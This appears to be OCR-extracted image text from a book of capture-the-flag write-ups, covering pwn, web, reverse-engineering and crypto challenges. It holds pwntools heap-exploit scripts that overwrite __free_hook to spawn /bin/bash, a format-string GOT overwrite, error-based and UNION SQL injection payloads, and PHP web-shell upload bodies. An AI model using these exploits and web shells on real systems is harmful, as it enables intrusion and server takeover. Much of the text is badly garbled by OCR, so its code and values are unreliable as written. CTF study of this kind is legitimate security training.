clark clarksolution.c clarksolution.so dunp
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P = process(*./pun')
ereeLe(r/punt)

et creatersize, string):
procvuntil (fquitiat)
posendiine (create 1)
Porecvuncil (‘sizest)
poaendline (stx (size))
JSmem -
prsend(steing)
porecviine)
dof deleerid, adde-tone):
porocvuntil (‘quitin')
psendline ('deloto ')
porecvuntil(ridi®)
posenaiine sex(ie)
Precvunt il (taure?: )
1t adars
».
e1se:
pusendline ('yest)

ndline ('yes01234 1964 (addr) |

et Leak (adar)
dotoce (o)
Payload = ‘aaVl0ga’ + 'BbY ¢ ot (0x1-len(
b
create (32, payload)
aeteret, adds)
precvunc il ("aa")
rec = p.xecvuntil (bb)
porecvi)
psenatine(+20%)
roc = recti-2]
rec = rec + "\u00®

N1088b0")) + péS (prince_pit) + \

createrd, *asa\n’)
create(s, ‘asatn’)
cresters, ‘asa\n)

derete (o)
astecert)
dotece(2)

Bayload = "a® * 16+ "EBGBBBD' + "\x20% + "\x00" ¢ \n*
create(s2, payload)

aeteert)

e = p.recuunt L1 (*BBbbEBEL®)

delecetun - p.recvuntil ("\a®) [1-1]

deletetun_addr = ubd (deletefun + *\x00* * (8 - Len(deletetun)))
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int *_cdecl sub_403000(int *al, int a2)

_—
signed int vs;
s = -
v - -

a1 == va;

a5

ety
return 21;
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dof attack(sys_addr, printf_adds)
nunl = sys_addr & Oxef
nun2 = (sys_addx & OxEEEE00) 5> ©
Payload = pi2(printf_addr) + pI2(printf_addrel) + "4 + str(numl - 8) + \
"X® 4 TVISHNR® 4 "+ strinumz - numl) + X" + "REShAT + *\a
p.send (payload)
purecvl)

printe_gor = elf.got('printe’]
attack{systen sde, pelatf gut)
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€  (©192.168.88.132/5ql/

username| :ion_schema.tables group by x)a)# |

password| s )

email root@admin.com

ok
chaxun
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> elark
Welcome to NDHZKIS
2 oM5! khy you roor?
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//python/narshal.c:22

tdetine
bdefine
bdetine
tdetine
sdetine
bdetine
bdetine
saetine
bdetine
taetine

Tyee_tNt
TYPE_INT6S
TYPE_LONG
TYpE_STRING
TYPE_INTERNED
TYPE_STRINGREF
TvpE_TUPLE
Tyer_LIsT
TvpE_DICT
TveE_cone

i1
oy
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e
g
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and(select 1 from (select count(),concat (SELECT distinct concat (0xTe, tablenane,
Ox7e) FROM informationschema.tables where table_schena=database() LIMIT 0,1),
£loor (and (0)2))x from information_schena.tables group by x)a)d
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1€ (a1 == 2)
‘
V11 = (unsigned intin - 1LL;
v4 = alloca(16 * (((unsigned _int64) (unsigned int)n + 15) / 0x10));
dest = (char *)evT;
strepy((char *)av, sre);
vio = o
ve -0
while ( mememp(dest, "347%, dull) )
‘
V5 = v9 3 (unslaned nt)n;
V6 = dest(vd 4 (unsigned int)nl;
dest[v5) = (unsigned __int6d)sub_40060D() * vE;
oo
)
£ ( tmencapidest, v7[1], (snsigned int)m) )
printe(*The flag is Ys\n®, vI[il, v

puts (*Try again®);
result = 0LL;

Printe(“Usage; ts <password>\n", "1, a3, v1);
result = 1LL;

y

return rosult;
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File simple_£0455e55c1d236a28387d04d5a8672ad
simple_£0455e55014236a2838704d5a8672ad: X2 compressed data
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netstat -ano | grep tep
ep 0 0 0.0.0.0:9998 0.0.0.0:_ LISTEN %M (0.00/0/0)
tep 00 127,0.1.1:53 0.0,0.0:_ LISTEN XM (0.00/0/0)
tep 0 0 127.0.0.1:631 0.0.0.0:_ LISTEN %M (0.00/0/0)
P 0 0 0.0.0.0:8888 0.0.0.0:_ LISTEN %M (0.00/0/0)
£op6 0 0 ::1:631 :i:+ LISTEN
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T+ Purple posse market

purplepossemarket.quals.nuitduhack.com;

Purple posse market  About  Products  Contact

Use this contact Form if you have any questions.

inistrator will read and resy

@ to your message as soon a
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openssl rsa -pubin -text -modulus -in warmup-céaaddBedfielZbc2ea2ld2ae528ed79. pub
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http://cingzerOtean. con/challenges/ 74/ 2404252527 union select 1,2,3-— -
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50 = unserialize(spass);

if (s0) (

So->secret =

if (So->secret me= So->enter)
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gdb-pedas checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENA
BLED RELRO : Partial
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$532378020a
0e220463095855511507588041205815
$1502113478a
0e861580163291561247404381396064
$214587387a
0e848240448830537924465865611904
51665632922a
0e731198061491163073197128363787
$532378020a
0€220463095855511507588041205815
515021134783
0e861580163291561247404381396064
51184209335a
0e072485820392773389523109082030
s1836677006a
0e481036490867661113260034900752
$1091221200a
0e940624217856561557816327384675
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» Desktop haxdump cva 1/1 7% #XEikicenne | sed 8/ oFG1RARIRGSF/ 0579666960
65/g' | xxd -r -p > licanse_patch

< Desktop acho “hallo” > kayfila

+ Desktop chmod +x 1icense_patch

+ Desktop ./licenso patch

wrong fornatted key file

+ Desktop I
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00000900
00000910
00000920
00000930
00000940
00000950
00000960
00000970
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curl http://46.101.185.27:3000/login X POST —H "Content-Type: application/3son
~-data *(\"password\": 100]" | hexdunp ~C

00000000 75 22 73 74 61 74 75 73 22 3a 22 65 72 72 6 72 | {"status":"errox|
00000010 22 2 22 65 72 72 6€ 72 22 3a 22 70 61 73 73 77 |", "error":"passw|
00000020 6£ 72 64 20 77 72 6f 6e 67 3a 20 41 4c dc 45 53 |ord wrongs ALLES|

00000030 75 73 65 73 73 69 6F Ge SE 6b 65 79 5¢ 4b 2e 47 |(session_key K.G|
00000040 4b 51 65 52 30 4a 53 32 62 39 4f 68 77 53 48 23 |KQEROISZLIOKWSHI|
00000050 55 64 44 68 dc 34 45 64 64 78 65 44 3¢ 7d 72 64 |UAMALAEAdxeD?)rd]
00000060 41 70 70 7b 5c 22 61 64 64 69 6e Sc 22 3a Sc 22 |App(\tadmin\":\"|
00000070 6e 6f Sc 22 7d e 69 3c 21 44 4f 43 5§ 59 50 45 |no\"}>i<!DOCTYPE|
00000080 20 68 74 6d 6c 3o 3c €8 74 6d 6c 20 6o 67 2d 61 | heml><html ng-al
00000090 70 70 3d 22 7d Ipp=t1 1
00000095
curl http://46.101.185.27:3000/10gin ~X POST -H "Content-Type: application/json”
~-data "(\"password\": 100]" | grep ALLES 1
("status:error®, "error™: "password wrong: ALLES(session_key_K.GKGeROJSZbIORWSHIUA
MhL4EAdxeD?]><Lin(\"adnin\":\"no\" jeet\" href=\"/stylesheets/style."}
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signed _inted _fastcall main(_iated al, char *+a2, char **a3)

const char *v3; Iresi
const char *v: Irxas

char buf; //1zspeon) [ebp-108]
unsigned _int6d vi //Irspsa08n] [xop-sh]

V1 = _readtaquord (0x28u) 5
setbut (stdout, 0LL);
setbut (stain, OLL);
va = ous
setbut (stderr, 01L);
PUES (%444 h bbb R
puts(*So, let's crash the world®);
V= Shserebebesersberatebbten;
[ENTTI0N00000NN0NINNIINEIN
while (1)
¢
wnile (1)
«
while (1)
«
sub_1148(v, v3);
Lf ( tread(d, ébuf, Ox400uLL) )
return 111

V3 = create
va = abut;
Lf ( strnemp(sbur, tereate %, Tuil) |
break;
sub_ECE (sbut, "create ");
)
3 = delate
va = abu;
L€ ( strncap(sbut, "delete

Ty
break;
sub_DI5 (sbut, “delete *);
)
3 = quie
Sf ( tstencmp(sbut, "quit %, SuLl) )
breaks
va = *Invalid cnd";
puts (*Invalid cnd"
)
puts("Bye=");
retusn 01L;
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Newble calculations
This file will calculate a flag for you, but you have to wait!
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€ £ ) 192.168.88.132/sql/

YES!!
username| 4,(select * from Flag),0x5e24),1))# |

password| s« |

email flag@test.com
ok
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for (- 0;j eei)
‘
v8 = aub_100E22 ((_int6d)evi2);
L (vs -1 <m )
broak;
std: soperator<ecatd:ichar_traitacchars> (sv10, (unsigned dnt) (char) (v14(1) *
VL8 e
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Post data

1=echo "type..\\..\\flag.phpl;

flag{6b4cfda836726cd9}
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key = (o0
for 1 in range(1, len(key))
Kkey[i] = key[i] * keyli - 1]
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133t dev comment: ——>

<t-- No more hacking attempt we implenented the NOST secure filter —->
srldecode (addslashes (stx_replace (', *".
urldecode (htmlspecialchars (S_GET('id’], ENT_QUOTES))))) -->
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ada(256, 1a’+256)
add(2s6, *b'+256)
add (255, tc'+256)
add(zse, 'ar+256)
add(256, te'+256)

e
offset_system = 1ibc.synbols(*systent]
offser_tree = libc.symbols(*_tree_hook®]
matn_arena = show(1) - 88

system = main_arens - 0x3c2760 + offsst_system
£ree_hook = main_avena - 0x3c2760 + offset_free
print "system addr —
print "free hook -

tx "vsystem
S "tfree_hook
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0 LOAD_CONST 0 ("M, \x1d-\x18)E" \xlez-\x1b*\x19:\x128\x1d-")
3 LOAD_CONST 0 ("M, \x1d-\x18)E" \xlezli-\xIb*\x19+\x128\x1d~")
5 BINARY_ADD

7 LOAD_CONST 0 (M, \x1d-\x18)E" \xleaN-\x1b"\X19+\x12¥\x1d-")
10 BINARY_ADD
11 LOAD_CONST 1 (*T\WTEM(LIT\XTEJ. \x16WHCRI\X086\X0En" )
14 BINARY_ADD
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KEYL = *Maybe you are good at deceyptint Byte Code, have a tryl'
KEYZ = [124,48,52,59,164,50,37, 62, 67,52,48,6,1,122,3,22,72,1,1,14,46,27,232]

def enceypt (key, seed, v
return (ord(v) + seed * ord (key(sesd]))3255

def decrypt():
flag = "
for i in range(len (KEX2)) :
for 5 in range(254):
L€ encrypt (KEY1,5+4, chr (3)) ==KE¥2 (415
£lag +=chr(9)
break

return flag

46 _name__ == '_main_
print_decrypt O
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-~ uname ' ={select (1) from (admin) where (mid ({passwd) from(32))="5*))="
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const-string v0, "you message"

const /4 v1, ox1

Lok

static (0, v, vil, Landroid/widget/Toast;->
makeText (Landroid/content/Context; Liava/lang/CharSequence; T) Landroid/uidget /Toast

move-result-object v0

invoke-virtual (v0), Landroid/widget/Toast;->show()V
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YESI wait, no... try herder

123
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B = remote (Txx. o xx.xxt, 10000)
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<zphp.

Sdata = array('username’ => %adain®, ‘password’ => True);

Scookie = serialize

(sdata);

print urlencode (Scookie);

2
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Roscieajoioo SN

Available debuggers
©) Ho debugger
() Local Bochs debugger
) PIN tracer
© Remote GIB debugger

© Remote Linux debug;

() Trace replayer

Default debuggers (sutoselected for new databases):
HOKE

| | Set as default debugger

T






OEBPS/Images/277-3.jpg
import binaseii
= AEARERS A
d - @it RSA-Hiener-Attack R @ &k
= RAE I TXT APHEL

m = hex (pow(c,d,n)) st rip("L7)
print =

print binascii.unhexlify(miz:
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+ Erbedded file name: decrypt.py

--- This code section failed: ---

0 HOP None

1 LOAD_CONST "M, \x1d-\X18)E* \xleah-\x1b*\x19+\x128\xld-"
4 LOAD_CONST "M, \x1d-\X18]E" \k1ezN~\x1b*\X19+\x128\x1d-"
7 o None

8 LOAD_CONST "M, \x1d-\X18)E" \xlezk~\x1b*\x15+\X128\x1d:
11 LOAD_CONST " I\«7EM(I{T\XTE3. \X164HCRI\ X006\ 0 En"

14 BINARY_ADD Nore

15 LOAD_CONST 'Z0\nn\KDEK\E 1R\ 039\X067\x00eUB\X043
18 BINARY_ADD None

15 LOAD_CONST '\x014\x071Rr\X14x\x19-D2q"a5s, AY"

22 BINARY_ADD None

23 LORD_CONST *\x10"\X11ULyAY\X1dIDFFV\X12t\x11484"

26 BINARY_ADD None

27 LOAD_CONST *GoKzK*0) \X1eRGUCH \x1e\XT\xIb X1+

30 BINARY_ADD None

31 LOAD_CONST *\x164\x14-\x1€/\x1axAqBa@yO-LLE ] "

Syntax error at or near "NOP' token at offset 0






OEBPS/Images/054-2.jpg





OEBPS/Images/289-3.jpg





OEBPS/Images/113-2.jpg
det strxor(a, b):

retuzn " join([ehr (ord(x) * ord(y)) for (x, y) in zip(a, bl:len(@)D1)

Lined ='686775477857"
result =477243526564"

3 = lined.decods (*hex')
4 = result .decode ("hex')

xor = strxor(s3, s4)
Line3 = xor.encode ('hex')
print lined
#line3:2£153a151433
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purplepossemarket.quals.nuitduhack.com

Purple posse About  Product

Personal informations :

Full name: Robert leandoer

fddress: 17 Rue de 1a colline

® |+ Purple posse market I RequestBin - 1kxo2b11

Bitcoin address: 15RTaerruoxs6AnABVLTEZSUINZeNp2ACL

s Contact Messages

59100 Roubaix

Funds transfer infornations :

IDAN : 18AN FR1% 2004 1010 0505

1 02 eve
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-+ Desktop ./license “
key file not found!
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Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-php

<?PHP|(s_POST[1]):2>

-2265841475632636076454863--
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<zpnp

class justafun |

var senter;

var ssecret;

$o = new Justdfun();

So->enter = 4So->secret; echo serialize(so);

»
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8 mimimp:

mimimp3

mimimp3t






OEBPS/Images/017-3.jpg
® 08 D) 202120.7.209mdexomoro x (L
= C  © 202.120.7.203/index.php?id=6%20UNION%20SELECT%201,9999,8888

Your request is blocked by waf.
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it clone https://github.con/Longld/peda.git ~/peda
echo *source ~/peda/peda.py® >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy™
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seed = (seed + 1) % len(key)

1€ _name_

print "Helcone to idf's python crackme®
flag = input ("Enter the Flag: 1)
KEYL = "Maybe you are good at decryptint Byte Code, have a try!'
KEX2 = [124,18,52,59, 164,50,37, 62, 67,52, 48, 6,1,122,3,22,72,1,1,14, 46,27,232]
en_out = encrypt (KEV1, 5, flag)
it KEY2 == en_out:
print “You win'
elser
print ‘Try Again *
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The execution will be resumed after the exception.

Do you want to pass the exception to the spplication?

If vou answer ves. the avolication’s excevtion handler
will be executed if there is one.
The control of the application might be lost.

Change exception definition

e Giscad) [opnd o ¢ e
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Typesrror: Incorrect padding
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cooe xR magne1zaty
4, alnvalidcad ; “Trvelid cad”

puts.
Toc.c
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file lion-cub
Liim-tibi gRip COUERORNGY deti;: TAGE SUBLTLAd: St OGS 11 UNAGINY F034; from (LK
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C:\Users\tenshine\Desktop>python pyinstxtractor.py Reversed00.exe
[*] Processing Reversei00.exe

(4] Pyinstaller version: 2.0

[4] Bychon version: 27

(4] Tength of package: 2551284 bytes

[*] Found 14 files in Chrchive

[+] Begining extraction...please standby

[+] Found 194 files in P¥2 archive

[+] Successtully extracted pyinstaller archive: Reversed00.exe

You can now use a python decompiler on the pyc files within the extracted directory
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smpore nach
for ¢ 4n range (int (nath. floor (math. sqrt (480000)))) ¢
4£ 4500008 (141)==0¢

print 1+1,480000/ (1+1)
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0
Nop

640000
LOAD_CONST

610000
LOAD_CONST

Nop

740000
LOAD_GLOBAL
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[rprr——
P You are adnin #(flag)
else
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wsex MEMBRR 1R > BEAR(0)
M 1R > HRAR(0)
B0TER > HRAK (L)
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LoAD_coNST 0 (3)
LOAT_CONST 1 (4)
BINARY_ADD
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offset_free = libc.symbols("_free_hook")

main_azena = show(l) - 88

system = main_arena - 0x3c2760 + offset_systen

£ree_hook = main_arena - 0x3c2760 + offser_free

print "systen addr -

print "free hook -

ki)

heapl = show(3)

print "headl addr -

xi1e)

payload = "e*0x110

Payload += p64(0) + P64 (0x100) + P64 (heapl - 0x138) + p6d (heapl - Ox150) + \
"g*+0xE0

aylosd += P64 (0x100) + p64(0x30) + "h"+0x80

Paylosd += p64(0) + P64 (Ox101)

add (768, paylosd) 's

Ki11(3)

free_got = e.got(Ereet]

print "free gor ~tx "atree_got

2dit(2, p64(0x1) + p6d (Eree_hook))

edit(1, ped (system))

24 (256, */bin/bash") e

Ki11(6)

peinteractive()

4x "vsysten
Sx "3eres_hook

1 *theapl
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php > echo md5("QNKCDZO");
0e830400451993494058024219903391,
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e e =

0x0000000d  sub esi, x5
0x00000010  push ebp

000000011  mov ebp, esp
0x00000013 mov eax, Ox18

0x00000018  int 0x80
syscallloxfffFFFff1(8]=? // fcn.0000011a+-283

0x0000001a  test eax, eax

0x0000001c  jz Ox3c

0x000000le  mov edx, 9x1d

0x00000023  lea ecx, [esi+0x118]

0x00000029  mov ebx, Ox1

0x0000002e  mov eax, Oxd

0x00000033  int 0x80
syscall[gxfff£F££][8]=7 // £cn.0000011a+-283
©x00000035 mov eax, Ox1

000000033 int 0x80
syscallloxffffffffl[e]=? // fcn.0000011a+-283
0x0000003c  mov edx, Ox14
0x00000041  lea ecx, [esi+9x135]
0x00000047  mov ebx, 6x1
0x0000004c  mov eax, Ox4
0x00000051  int ©x80
syscall[Oxffffffff][8]=7 // fcn.0000011as+-283
xor esi, esi
0x00000055  mov edx, 8x1234567

0x0000005a  mov ecx, 0x28121969
0x0000005f mov ebx, Oxfeeldead
©x00000064 mov eax, 9x58
0x00000069  int 0x80
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_inted _fastcall main(_inted al, char *+az,

char s; //1spron] (bp-i1onier
_inted vs; /71sp+108n) (bp-8hieL

V5 = TMKFB(_FS_, 401L);
setbut (stdout, OLL);

setbut (stdin, 0LL);

setbuf (stderz, OLL);

memset (65, 0, 0X100uLL);

Printf(*inpuc your name \nname:®, OLL);
read(0, 55, OxCull);

while ( (unsigned int)sub_BES() )
return 0LL;

char ++a3)
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delete(o)

payload = */bin/bash;’ + 'c'*(0x18-len(*/bin/bash;‘)) + p6d(systen_adde) + "\n*
create (32, payload)
detete(n)

peintoractive()
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# Unicode #4H# "310032003300340035003600" #ATAE D4 # A RA
#5) “326D87BDBSEDCSESCAABBS4737681604"
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echo "Congratulation! Here is my secret: ".So->secret;

else

echo *oh no... You can't fool me™;
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Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/x-php

<script language="php">|$_POST(shell});</script>

--2265841475632636076454863-
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T
T

orL

T

bbFreere | yes

eylese

o Freeze | yes
)
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hetp://ringzorOtoan. con/chal lenges/ 14/ 7143252527 union select 1,eal,3 from

salitemaster-— -






OEBPS/Images/056-2.jpg
class justafun (

var senter

var ssecret;
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3 gramsht (LODD]
& W\ gramshitexe
@ 38 References
@0-
@ () decryptimg
@ 83 Encryption
& 88 Program
@ ) Base Types
© (& Derived Types

o)
Jad initiogl Vo]

return;

1
bytel) file = File ReadAlBytes(path:
Console WiteLineCnow give your encryption keyin  fie:
path = Console Readline();
if (File.Exists(path))
t
Console.Writeline("Got it, your key is”, path);

)

elee.

(
ConsoleWriteLine("that's not even a file, byel"):
retur
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NoP None
LOAD_CONST "M, \x1d-\X18}5* \xlezii-\x1b*\X19+\ X124\ x1d-"
LOAD_CONST "M, \x1d-\X18)B* \x1ezN-\x1b*\X194\x124\x1d-"
NOP None

5 LOAD_CONST "M, \x1d-\x18}E* \xlezhi-\xIb* \x194\ X124\ x1d-"
11 LOAD_CONST *T\x7EM(T(T\XTEJ. \X16WHCR I\ X006\ x0En

14 BINARY_ADD Nome
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© - tsarieert,
752211182,
sass2766e,
685267677,
274704164,
305978540,
274704168,
578420879)

n = 920139713
a - 96843619

rosult =t

for < in C:
a = powte,d,m)
resule += chr (a)

print result

R B
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¢ [ans «e

€0 s e oy
seect  from userswhere emai rooi@admin ot

select* rom sers where usmamex'1123 and(selec 1o (seect cound) cncai(SELECT sinct conca0e7e bl name 0x7e) FROM
Informtion schems.ables hre tble,chama=dstabase) LMIT 0,1, o rand0)2)c om formadn.schemaabies goup by s
Duplate ey g1 fo ey ‘grop.bey
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curl http://46.101.185.27:3000/1ogin -X POST -H "Content-Type: application/json”
—-data *(\"password\": 100)* | hexdump -C

00000000 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6£ 72 |{"status*:error|
00000010 22 2¢ 22 65 72 72 6€ 72 22 3a 22 70 61 73 73 77 |*, "arror®:"passw|
00000020 6¢ 72 64 20 77 72 6¢ 6e 67 3a 20 69 73 41 72 72 lord wrong: LeArr|
00000030 61 73 2£ of bE bd 7L of bE bd 5¢ 75 30 30 30 30 lay/-+.q..-\u0000|
00000040 Sc 75 30 30 30 30 Sc 75 30 30 30 30 5c 75 30 30 [\u000O\A000NOO|
00000050 30 30 Se 75 30 30 30 30 Sc 75 30 30 31 30 ef BE [00\LOOOOAOOL0. .|
00000060 bd 43 Sc 75 30 30 30 33 Sc 75 30 30 30 30 5S¢ 75 1.C\LO03\WO000\Y|
00000070 30 30 30 30 S¢ 75 30 30 30 30 Sc 75 30 30 30 30 |0000\u0000\HO0O|
00000080 5c 75 30 30 30 31 3¢ 2 70 72 65 3e 3c ef bE bd  (\u0001</pre><... |
00000030 7€ 43 Sc 75 30 30 30 33 Sc 75 30 30 30 30 5¢ 75 |.C\LO03\WO000\Y|
00000020 30 30 30 30 5 75 30 30 30 30 5¢ 75 30 30 30 30 10000\u0000\UO000|
00000050 5c 75 30 30 30 37 S¢ 75 30 30 30 30 Sc 75 30 30 \u0007\uA000N00|
000000¢0 30 30 5e 75 30 30 30 30 2¢ 68 74 6 5c 75 30 30 00\L0000/AERAO0|
00000040 30 32 Sc 75 30 30 31 32 40 a3 Sc 75 30 30 30 30 102\60012..\u0000|
00000060 Sc 75 30 30 30 30 Sc 75 30 30 30 30 Sc 75 30 30 1\u0000\u0000N00|
000000£0 30 30 5¢ 75 30 30 30 30 Sc 75 30 30 30 30 5¢ 75 100\u0000\WO0OO\S|
00000100 30 30 30 30 5 75 30 30 30 30 76 65 5c 75 30 30 10000\u0000¥\UOO|
00000110 30 30 5c 75 30 30 30 30 f bf bd 7 43 5¢ 75 30 00\KO00OD. .. .Cu0|
00000120 30 30 33 5c 75 30 30 30 30 Se 75 30 30 30 30 5c [0031u0000NUOOON|
00000130 75 3030 30 30 Sc 75 30 30 30 30 5¢ 75 30 30 30 |40000\0000NU000|
00000140 30 5c 75 30 30 30 30 Sc 75 30 30 30 30 Sc 75 30 |0\u000O\UO000NO|
00000150 30 30 30 5c 75 30 30 30 30 Sc 75 30 30 30 30 Sc 1000\uO000NUOODON |
00000160 75 30 30 30 30 5c 75 30 30 30 30 f bf bd ef bf 4000010000 ... |
00000170 bd f bt bd Sc 75 30 30 30 30 Sc 75 30 30 30 30 |....\u0000\WOOO|
00000180 5c 75 30 30 30 30 5¢ 75 30 30 30 30 5c 75 30 30 |\u0000\UIO0ONOO|
00000130 30 30 3a 5c 75 30 30 30 36 5S¢ 75 30 30 30 30 5c 100:\u0006\UOO0ON|
00000120 75 30 30 30 30 ef bf bd 5c 75 30 30 30 30 Sc 75 1u0000. ..\u000O\u|
00000150 30 30 30 30 S 75 30 30 30 30 50 32 31 Sc 75 30 10000\u0000P2LNu0|
000001030 30 33 22 7d 1003°) |
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R 0 | Eements
oo =¥

e

Console Sources Network Timeline Profiles Resources
View: 3= = | Preserve log @ Disable cache | No throttling

X | Headers  Preview Response Cookies Timing
¥ General
Request URL: http://46.101.185.27:3000/ Login
Request Method: POST
Status Code: ® 200 0K
Remote Address: 46.101.185.27:3000
> Response Headers (6)
> Request Headers (14)
vRequest Payload  view parsed
{"password”:"test"}

Audits.
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+ Desktop ./flagFinderRedux-e72e7ac9b1608f40acd33706334d524
Usage: ./flagFinderRadux-e72a7acb1608140acd337069194d524 <password>
+ Desktop ./flagFindarRadux-e72e7ac9b16b8740acd337869794d524 password
Try again
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2 <= PyIntobject T4
TYeE_NT < #F'50. LFF. pyIncobject HATIR
data < AFF, i WK

weses < eyIntObject i
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& B

#

FA%H

floor(X)

SRR THEX

and(select 1from(select count(*), concat
((select (select(select concat(0xTe,
version(), 0x7)) form information._
schematables limit 0, 1), floor(rand(0)*2))x
from information_ schematables group by
xn)

extractvalue()

XML FF IR XPath
15

and extractvalue( 1, concat(OxTe, (select
@Gyersion), 0x7e))

updatexml() IO A XML B and updatexmi(1, concat(0xT7e, (select
@@version), 0xTe), 1)

NAME_CONST RFEERL. IO T and+1=(select+*+from+(select+NAME_

GEAFAERR) | — R, Af SSOIAETE | CONST (version(), 1), NAME_CONST

W% EBROE

(version(), 1)+as+x
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5 etae
Welcome to NDHZKLS
Need supercow powert 1!
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http://202.120.7.203/index . php?id=6 UNION SELAOOECT 1, 2, GROUP_CONCAT(flag)
FROYOOM flag
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Licanse
Find the flag in this file
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byc_magic
ntire

TYpE_coDE
co_argscount.
co_nlocals
co_stacksize
co_tlags
co_cade
co_consts
co_treevars
co_cellvars
co_tilenane
co_tixstiineno
co_tnotab

AT, FORLAAEL
#F 0x0120008, & FF, UM TH£RE pyc XHHRE
4EF, pyc RIAELHBLIHBAH 0

Ak pycodeobiect F#, FEAMTWERBH
FFc', 15, pyCodeobject HABIR

SET, LRSRHME

LB (LEEIAR) WAL

SFP. RURBRARA

4EF, BLFN

Pystringobject, F¥8

PyTupleobiect, ¥

PyTupleobiect, SAMS o5 %4
PyTupleobiect, HHEELHES

PyTuplecbiect, HHEFNTFLHRL
PyTupleobiect, RMEBHHLENLFLHES
Pystringobject, BXHE

SEE L AR KB I 220017
pystringobiect, FBMGHELARMITHIHLLR
W PyCodeobiect fhk, XA






OEBPS/Images/224-2.jpg





OEBPS/Images/276-1.jpg
-BEGIN PUBLIC KEY-
MIICTjANBgkghkiGIwOBAQEFAROCAGBAMIICCRCAQEDZXmNA1YUVGTrd] YRKCX
VHR4+HQVZMIG4aUTIL1u00 CHYE FREDOL TIXBRMhvGGEUyXFhk £2dAYpLAVhNSRVE
GiEwfchvS/dxxpHBQ+Wr5Um1vS1usal£1icOfht1/gYR+TLhSINSTMONGLTKOOKa
RKE96CW3Jg bbHxKQLeCZubTe7/e9rSDgdScRQe] 1810t 21Kt FkTsVi 9FrxNELCK
29bCwzV09A6y79Dp4Q3HAFYLObyVUrnqwdczaNaQMcXnIGhRRPEO7 SHT3AL tml 1k
EeWL3uQ+RrmaDQSUudsoGVr5Aa/XMNSm4gPa0T2 1 6 £kANK lut sqij 7aKLRG1gsw
XQKCAQEABSWA144C658G3vP2Nd ] 4x9dgmVHArGCIFLLCKYDEKSBhCZQga9 K1 gHE
3£SgJ18QF90rVS2VBX65NOCh3C1WRCILGFh T 1/ PHE IMKY Pwx3yU3JxQy +Q44x27
Z9MHM7agBXgdKMOtbWPQNTMYGAGYNUBUG+2+J2/ ey10fdvAWLHSZoFMv1382BQU
N/FOCZmQ+TBRS £C65 FAGP6CNSOlgXNZIV1 6Cge/uxSnDPIKDei D91 s1ROs1id2gx
PuP5g4rURZACPOrUWBhSMjUdaNGoGNZRIC5 750G tCSBRXPKOFLERXNVeyVpn/
WRS3HOjul1qG5+JyVPX3apNFAQ] +Bw==

END PUBLIC KEY-
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“ WOTE: 411 paths must be valid on the renote computer
Moplication /home/ni ck/Desktop/ ElagFinderRedux-o7247acb16bOE08CEIST069¢ + Lo

nput file /home/nick/Desktop/ lagFinderReduc- 1267 acob 800 E400c337080¢ + [ .. |

Directory  /home/mick/Desktop

Barsneters 123455

Hostname  192.165.88.201

Passyord

jave network settings as defanlt

=
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int _cdecl main(inc arge, const

¢

int vay //(sp+18n) (bp-38n104
char vS[401; //lspeich] (bp-34n1as
signed int ve; //(spraan] (bp-cniar
_BYTE s //1sprasn] [bp-sn1es

signed int v
w6 = 0
Welcome ()

//Lsprach] (bp-anie3

Printe("How many times do you want to caleulat
_is0c99_scant (4", 4v6);
L€ (w6 <= 3 11 vE > 255 )
0
puts(*wrong input!”);
extt(-1);
)
7 = (LBYTE *)malloc(d * v6);

char *+argy, const char

enve)
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nsioned _inced sub 580
«

signed tne 4 /tzspean) tebp-i02cn]
stevee e pter tzspsen) tevp-1029m]
chax sdost /tesprion)  (evp-1020m)
stzet abye //tespeion) (zpp-1018n)
aizes abytesa; //tespeian) (zop-1018n]
cha but; /txspraon (ebp-10108)
snataned _inced vis e —

7 = _readtaquora (0x28u)
Per = (struce_prr *)nalloe(0x20uit) s
printe ("Bs give string sizert
nbytes « (signed Lnc)sub_B6S()
St ( obytes <= 0x1000 )
.
peineeraein) s
L6 ( zead(0, sbus, mbytes) == 1)
¢
puts(rgot e1e11n);
ez
)
nbytosa = strlen(sbu
St ( obytasa > oxF )
‘
dost = (chas *)malioe(nbyeesa
Lt (et )
«
pute(rmalios fatlatn);
ey
'
strncpy(dsst, tbut, nbycesa);
+(ONORD *)epe-shut - dests
pre->fun = (vold (_fastcall *) (_incé)) sub_Decs
)
etan
'
stencey (cpte-shut, bif, syt
PLr->fun = (vold (_fastcall *) (_inéd)) sub_ps2;
)
pre-ssize = noytess
for (105 4 <= 155 401 )
‘
L ( 1L00WORD (st 20202000 (41 .4_taq) )
«
LODNORD (s€x6_202000 (41 -d_tag) = 1
2teo 2020011 dun = (steuct_d_un *Iptes
prince(*he string id bs Vn", (unslaned inc)i);
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strace ./simple

open(*£lag®, O_RDONLY)

= -1 ENOENT (No such file or directory)
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£xom pun tmport +

P = process (*. /Merewole")
© = ELE(". /Horewole")
Libe = ELE(*./1ibe.s0.6")

dof add(size, payload
prrecvantil("5.Exit")
p.sendline (1)
PLrecvuntil("size:®)
Pesendline (stx (size))
pLrecvuntil(tact or
p.sendline (payload)

)

dot show(index) :
Prrecvantil ("5 Exit")
p.sendline (27)
pLrecvuntil ("Input your 1dn)
prsendline (stx (index))
perecvantil(taction : ")
heap = ubd (p. recvuntil ("\n, drop = True).1just (s,

zeturn (heap)

def edit (index, paylosd)
pLrocvantil("5.Exic")
p.sendline (3)
purecvuntil (“Input your 1d")
p.sondline (stx (index))
p.recvuntil("Inpuc your new action®)
p.sendline (payload)

def ki1 (index) :
perecvantil("5.Exit")
p.sendline (47)
p.recvuntil ("Input your 1d")
p-sendline (st s (index))

add(255, ar+258)
add (256, 'b*+256)
add(2s6, ‘crr256)
add(zs6, dr+256)
add(256, e*+256)

K11
offset_systom = Libc.symbols ("systent]

<007





OEBPS/Images/114-1.jpg
The real flag finder

I've forgotten my flag, I remember it has the format *3447()%,
be?

J/RSRT R flag, RRAEHBAR "914707  MESRLH LAY

Unfortunately, the program no longer just prints the flag.
JIFFOREARATRA 21ag T

but what could it
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-~ uname = (select (1) from(admin) where (mid((passwd) from(32))="£'))="
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HARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS,
COLUMN_PRIVILEGES, ENGINES, EVENTS, FILES, GLOBAL_STATUS, GLOBAL_VARTABLES,
KEY_COLUMN_USAGE, OPTIMIZER_TRACE, PARAMETERS, PARTITIONS, PLUGINS, PROCESSLIST,
